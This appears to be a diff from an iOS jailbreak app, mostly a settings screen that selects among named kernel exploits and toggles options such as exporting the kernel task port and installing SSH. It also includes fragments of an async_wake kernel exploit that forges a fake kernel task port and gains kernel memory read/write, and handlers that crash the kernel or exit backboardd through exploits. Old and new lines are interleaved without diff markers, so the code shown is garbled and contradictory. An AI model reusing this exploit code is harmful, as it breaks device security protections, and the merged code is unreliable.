[self.DumpAPTicketSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DUMP_APTICKET]];
|
||||
[self.BootNonceTextField setPlaceholder:[[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE]];
|
||||
[self.BootNonceTextField setText:nil];
|
||||
[self.RefreshIconCacheSwitch setOn:(BOOL)prefs->run_uicache];
|
||||
[self.KernelExploitSegmentedControl setSelectedSegmentIndex:(int)prefs->exploit];
|
||||
[self.DisableAutoUpdatesSwitch setOn:(BOOL)prefs->disable_auto_updates];
|
||||
[self.DisableAppRevokesSwitch setOn:(BOOL)prefs->disable_app_revokes];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(empty_list_exploit) forSegmentAtIndex:empty_list_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(multi_path_exploit) forSegmentAtIndex:multi_path_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(async_wake_exploit) forSegmentAtIndex:async_wake_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(voucher_swap_exploit) forSegmentAtIndex:voucher_swap_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(mach_swap_exploit) forSegmentAtIndex:mach_swap_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(mach_swap_2_exploit) forSegmentAtIndex:mach_swap_2_exploit];
|
||||
[self.RefreshIconCacheSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_REFRESH_ICON_CACHE]];
|
||||
[self.KernelExploitSegmentedControl setSelectedSegmentIndex:[[NSUserDefaults standardUserDefaults] integerForKey:K_EXPLOIT]];
|
||||
[self.DisableAutoUpdatesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DISABLE_AUTO_UPDATES]];
|
||||
[self.DisableAppRevokesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DISABLE_APP_REVOKES]];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(empty_list_exploit) forSegmentAtIndex:0];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(multi_path_exploit) forSegmentAtIndex:1];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(async_wake_exploit) forSegmentAtIndex:2];
|
||||
[self.OpenCydiaButton setEnabled:[[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://"]]];
|
||||
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)[[SettingsTableViewController provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400, localize(@"Days")]];
|
||||
[self.OverwriteBootNonceSwitch setOn:(BOOL)prefs->overwrite_boot_nonce];
|
||||
[self.ExportKernelTaskPortSwitch setOn:(BOOL)prefs->export_kernel_task_port];
|
||||
[self.RestoreRootFSSwitch setOn:(BOOL)prefs->restore_rootfs];
|
||||
[self.UptimeLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)getUptime() / 86400, localize(@"Days")]];
|
||||
[self.IncreaseMemoryLimitSwitch setOn:(BOOL)prefs->increase_memory_limit];
|
||||
[self.installSSHSwitch setOn:(BOOL)prefs->install_openssh];
|
||||
[self.installCydiaSwitch setOn:(BOOL)prefs->install_cydia];
|
||||
[self.ECIDLabel setPlaceholder:hexFromInt([@(prefs->ecid) integerValue])];
|
||||
[self.ReloadSystemDaemonsSwitch setOn:(BOOL)prefs->reload_system_daemons];
|
||||
[self.HideLogWindowSwitch setOn:(BOOL)prefs->hide_log_window];
|
||||
[self.ResetCydiaCacheSwitch setOn:(BOOL)prefs->reset_cydia_cache];
|
||||
[self.SSHOnlySwitch setOn:(BOOL)prefs->ssh_only];
|
||||
[self.EnableGetTaskAllowSwitch setOn:(BOOL)prefs->enable_get_task_allow];
|
||||
[self.SetCSDebuggedSwitch setOn:(BOOL)prefs->set_cs_debugged];
|
||||
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)[[SettingsTableViewController _provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400, NSLocalizedString(@"Days", nil)]];
|
||||
[self.OverwriteBootNonceSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_OVERWRITE_BOOT_NONCE]];
|
||||
[self.ExportKernelTaskPortSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_EXPORT_KERNEL_TASK_PORT]];
|
||||
[self.RestoreRootFSSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RESTORE_ROOTFS]];
|
||||
[self.UptimeLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)uptime() / 86400, NSLocalizedString(@"Days", nil)]];
|
||||
[self.IncreaseMemoryLimitSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_INCREASE_MEMORY_LIMIT]];
|
||||
[self.installSSHSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_INSTALL_OPENSSH]];
|
||||
[self.installCydiaSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_INSTALL_CYDIA]];
|
||||
[self.ECIDLabel setPlaceholder:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] integerValue])];
|
||||
[self.ReloadSystemDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RELOAD_SYSTEM_DAEMONS]];
|
||||
[self.HideLogWindowSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_HIDE_LOG_WINDOW]];
|
||||
[self.ResetCydiaCacheSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RESET_CYDIA_CACHE]];
|
||||
[self.RestartSpringBoardButton setEnabled:respringSupported()];
|
||||
[self.restartButton setEnabled:restartSupported()];
|
||||
release_prefs(&prefs);
|
||||
[self.tableView reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)TweakInjectionSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->load_tweaks = (bool)self.TweakInjectionSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.TweakInjectionSwitch isOn] forKey:K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)LoadDaemonsSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->load_daemons = (bool)self.LoadDaemonsSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.LoadDaemonsSwitch isOn] forKey:K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)DumpAPTicketSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->dump_apticket = (bool)self.DumpAPTicketSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DumpAPTicketSwitch isOn] forKey:K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)BootNonceTextFieldTriggered:(id)sender {
|
||||
auto val = (uint64_t)0;
|
||||
uint64_t val = 0;
|
||||
if ([[NSScanner scannerWithString:[self.BootNonceTextField text]] scanHexLongLong:&val] && val != HUGE_VAL && val != -HUGE_VAL) {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->boot_nonce = [NSString stringWithFormat:@ADDR, val].UTF8String;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setObject:[NSString stringWithFormat:@ADDR, val] forKey:K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
} else {
|
||||
auto const alertController = [UIAlertController alertControllerWithTitle:localize(@"Invalid Entry") message:localize(@"The boot nonce entered could not be parsed") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const OK = [UIAlertAction actionWithTitle:localize(@"OK") style:UIAlertActionStyleDefault handler:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Invalid Entry", nil) message:NSLocalizedString(@"The boot nonce entered could not be parsed", nil) preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:NSLocalizedString(@"OK", nil) style:UIAlertActionStyleDefault handler:nil];
|
||||
[alertController addAction:OK];
|
||||
[self presentViewController:alertController animated:YES completion:nil];
|
||||
}
|
||||
@@ -151,66 +286,49 @@
|
||||
}
|
||||
|
||||
- (IBAction)RefreshIconCacheSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->run_uicache = (bool)self.RefreshIconCacheSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RefreshIconCacheSwitch isOn] forKey:K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)KernelExploitSegmentedControl:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->exploit = (int)self.KernelExploitSegmentedControl.selectedSegmentIndex;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:self.KernelExploitSegmentedControl.selectedSegmentIndex forKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)DisableAppRevokesSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->disable_app_revokes = (bool)self.DisableAppRevokesSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAppRevokesSwitch isOn] forKey:K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnRestart:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
notice(localize(@"The device will be restarted."), true, false);
|
||||
auto const support = recommendedRestartSupport();
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NOTICE(NSLocalizedString(@"The device will be restarted.", nil), true, false);
|
||||
NSInteger support = recommendedRestartSupport();
|
||||
_assert(support != -1, message, true);
|
||||
switch (support) {
|
||||
case necp_exploit: {
|
||||
necp_die();
|
||||
break;
|
||||
}
|
||||
case voucher_swap_exploit: {
|
||||
voucher_swap_poc();
|
||||
break;
|
||||
}
|
||||
case kalloc_crash: {
|
||||
do_kalloc_crash();
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)DisableAutoUpdatesSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->disable_auto_updates = (bool)self.DisableAutoUpdatesSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAutoUpdatesSwitch isOn] forKey:K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnShareDiagnosticsData:(id)sender {
|
||||
auto const URL = [NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/Documents/diagnostics.plist", NSHomeDirectory()]];
|
||||
[getDiagnostics() writeToURL:URL error:nil];
|
||||
auto const activityViewController = [[UIActivityViewController alloc] initWithActivityItems:@[URL] applicationActivities:nil];
|
||||
NSURL *URL = [NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/Documents/diagnostics.plist", NSHomeDirectory()]];
|
||||
[[SettingsTableViewController getDiagnostics] writeToURL:URL error:nil];
|
||||
UIActivityViewController *activityViewController = [[UIActivityViewController alloc] initWithActivityItems:@[URL] applicationActivities:nil];
|
||||
if ([activityViewController respondsToSelector:@selector(popoverPresentationController)]) {
|
||||
[[activityViewController popoverPresentationController] setSourceView:self.ShareDiagnosticsDataButton];
|
||||
}
|
||||
@@ -226,82 +344,66 @@
|
||||
}
|
||||
|
||||
- (IBAction)OverwriteBootNonceSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->overwrite_boot_nonce = (bool)self.OverwriteBootNonceSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.OverwriteBootNonceSwitch isOn] forKey:K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyNonce:(id)sender{
|
||||
auto const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy boot nonce?") message:localize(@"Would you like to copy nonce generator to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
auto prefs = copy_prefs();
|
||||
[[UIPasteboard generalPasteboard] setString:@(prefs->boot_nonce)];
|
||||
release_prefs(&prefs);
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Copy boot nonce?", nil) message:NSLocalizedString(@"Would you like to copy nonce generator to clipboard?", nil) preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Yes", nil) style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:[[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE]];
|
||||
}];
|
||||
auto const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"No", nil) style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyECID:(id)sender {
|
||||
auto const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy ECID?") message:localize(@"Would you like to ECID to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
auto prefs = copy_prefs();
|
||||
[[UIPasteboard generalPasteboard] setString:hexFromInt(@(prefs->ecid).integerValue)];
|
||||
release_prefs(&prefs);
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Copy ECID?", nil) message:NSLocalizedString(@"Would you like to ECID to clipboard?", nil) preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Yes", nil) style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] integerValue])];
|
||||
}];
|
||||
auto const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"No", nil) style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCheckForUpdate:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
auto const update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
|
||||
if (update == nil) {
|
||||
notice(localize(@"Failed to check for update."), true, false);
|
||||
} else if ([update compare:appVersion() options:NSNumericSearch] == NSOrderedDescending) {
|
||||
notice(localize(@"An update is available."), true, false);
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NSString *Update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
|
||||
if (Update == nil) {
|
||||
NOTICE(NSLocalizedString(@"Failed to check for update.", nil), true, false);
|
||||
} else if ([Update compare:appVersion() options:NSNumericSearch] == NSOrderedDescending) {
|
||||
NOTICE(NSLocalizedString(@"An update is available.", nil), true, false);
|
||||
} else {
|
||||
notice(localize(@"Already up to date."), true, false);
|
||||
NOTICE(NSLocalizedString(@"Already up to date.", nil), true, false);
|
||||
}
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)exportKernelTaskPortSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->export_kernel_task_port = (bool)self.ExportKernelTaskPortSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ExportKernelTaskPortSwitch isOn] forKey:K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)RestoreRootFSSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->restore_rootfs = (bool)self.RestoreRootFSSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RestoreRootFSSwitch isOn] forKey:K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)installCydiaSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->install_cydia = (bool)self.installCydiaSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.installCydiaSwitch isOn] forKey:K_INSTALL_CYDIA];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)installSSHSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->install_openssh = (bool)self.installSSHSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.installSSHSwitch isOn] forKey:K_INSTALL_OPENSSH];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
@@ -311,107 +413,64 @@
|
||||
}
|
||||
|
||||
- (IBAction)IncreaseMemoryLimitSwitch:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->increase_memory_limit = (bool)self.IncreaseMemoryLimitSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.IncreaseMemoryLimitSwitch isOn] forKey:K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnAutomaticallySelectExploit:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->exploit = (int)recommendedJailbreakSupport();
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:recommendedJailbreakSupport() forKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)reloadSystemDaemonsSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->reload_system_daemons = (bool)self.ReloadSystemDaemonsSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ReloadSystemDaemonsSwitch isOn] forKey:K_RELOAD_SYSTEM_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedRestartSpringBoard:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
notice(localize(@"SpringBoard will be restarted."), true, false);
|
||||
auto const support = recommendedRespringSupport();
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
SETMESSAGE(NSLocalizedString(@"Failed to restart SpringBoard.", nil));
|
||||
NOTICE(NSLocalizedString(@"SpringBoard will be restarted.", nil), true, false);
|
||||
NSInteger support = recommendedRespringSupport();
|
||||
_assert(support != -1, message, true);
|
||||
switch (support) {
|
||||
case deja_xnu_exploit: {
|
||||
auto const bb_tp = hid_event_queue_exploit();
|
||||
_assert(MACH_PORT_VALID(bb_tp), localize(@"Unable to get task port for backboardd."), true);
|
||||
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(EXIT_SUCCESS)) == ERR_SUCCESS, localize(@"Unable to make backboardd exit."), true);
|
||||
mach_port_t bb_tp = hid_event_queue_exploit();
|
||||
_assert(MACH_PORT_VALID(bb_tp), message, true);
|
||||
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(EXIT_SUCCESS)) == ERR_SUCCESS, message, true);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCleanDiagnosticsData:(id)sender {
|
||||
cleanLogs();
|
||||
notice(localize(@"Cleaned diagnostics data."), false, false);
|
||||
NOTICE(NSLocalizedString(@"Cleaned diagnostics data.", nil), false, false);
|
||||
}
|
||||
|
||||
- (IBAction)hideLogWindowSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->hide_log_window = (bool)self.HideLogWindowSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.HideLogWindowSwitch isOn] forKey:K_HIDE_LOG_WINDOW];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
auto const block = ^(void) {
|
||||
notice(localize(@"Preference was changed. The app will now exit."), true, false);
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NOTICE(NSLocalizedString(@"Preference was changed. The app will now exit.", nil), true, false);
|
||||
exit(EXIT_SUCCESS);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)resetCydiaCacheSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->reset_cydia_cache = (bool)self.ResetCydiaCacheSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ResetCydiaCacheSwitch isOn] forKey:K_RESET_CYDIA_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)sshOnlySwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->ssh_only = (bool)self.SSHOnlySwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)enableGetTaskAllowSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->enable_get_task_allow = (bool)self.EnableGetTaskAllowSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)setCSDebugged:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->set_cs_debugged = (bool)self.SetCSDebuggedSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnResetAppPreferences:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
reset_prefs();
|
||||
notice(localize(@"Preferences were reset. The app will now exit."), true, false);
|
||||
exit(EXIT_SUCCESS);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
[super didReceiveMemoryWarning];
|
||||
// Dispose of any resources that can be recreated.
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "async_wake.h"
|
||||
#include "early_kalloc.h"
|
||||
@@ -175,7 +175,7 @@ mach_port_t* prepare_ports(int n_ports)
|
||||
for (int j = 0; j < i; j++) {
|
||||
mach_port_deallocate(mach_task_self(), ports[j]);
|
||||
}
|
||||
SafeFreeNULL(ports);
|
||||
free(ports);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
@@ -374,7 +374,7 @@ mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)
|
||||
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
|
||||
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
|
||||
kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);
|
||||
SafeFreeNULL(fake_kernel_task);
|
||||
free(fake_kernel_task);
|
||||
|
||||
uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
|
||||
LOG("read fake_task_refs: %x", fake_task_refs);
|
||||
@@ -455,6 +455,9 @@ const uint64_t initial_context = 0x1020304015253545; // another random constant
|
||||
|
||||
mach_port_t get_kernel_memory_rw()
|
||||
{
|
||||
// offsets are required before we get r/w:
|
||||
offsets_init();
|
||||
|
||||
kern_return_t err;
|
||||
|
||||
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
|
||||
@@ -590,7 +593,7 @@ mach_port_t get_kernel_memory_rw()
|
||||
// now free first replacer and put a fake kernel task port there
|
||||
// we need to do this becase the first time around we don't know the address
|
||||
// of ipc_space_kernel which means we can't fake a port owned by the kernel
|
||||
SafeFreeNULL(replacer_message_body);
|
||||
free(replacer_message_body);
|
||||
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
|
||||
if (replacer_message_body == NULL) {
|
||||
return MACH_PORT_NULL;
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
//
|
||||
// diagnostics.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef diagnostics_h
|
||||
#define diagnostics_h
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
#define STATUS_FILE @"/var/lib/dpkg/status"
|
||||
#define CYDIA_LIST @"/etc/apt/sources.list.d/cydia.list"
|
||||
|
||||
NSArray *dependencyArrayFromString(NSString *depends);
|
||||
NSArray *parsedPackageArray(void);
|
||||
NSString *domainFromRepoObject(NSString *repoObject);
|
||||
NSArray *sourcesFromFile(NSString *theSourceFile);
|
||||
NSDictionary *getDiagnostics(void);
|
||||
|
||||
#endif /* diagnostics_h */
|
||||
@@ -1,147 +0,0 @@
|
||||
//
|
||||
// diagnostics.c
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
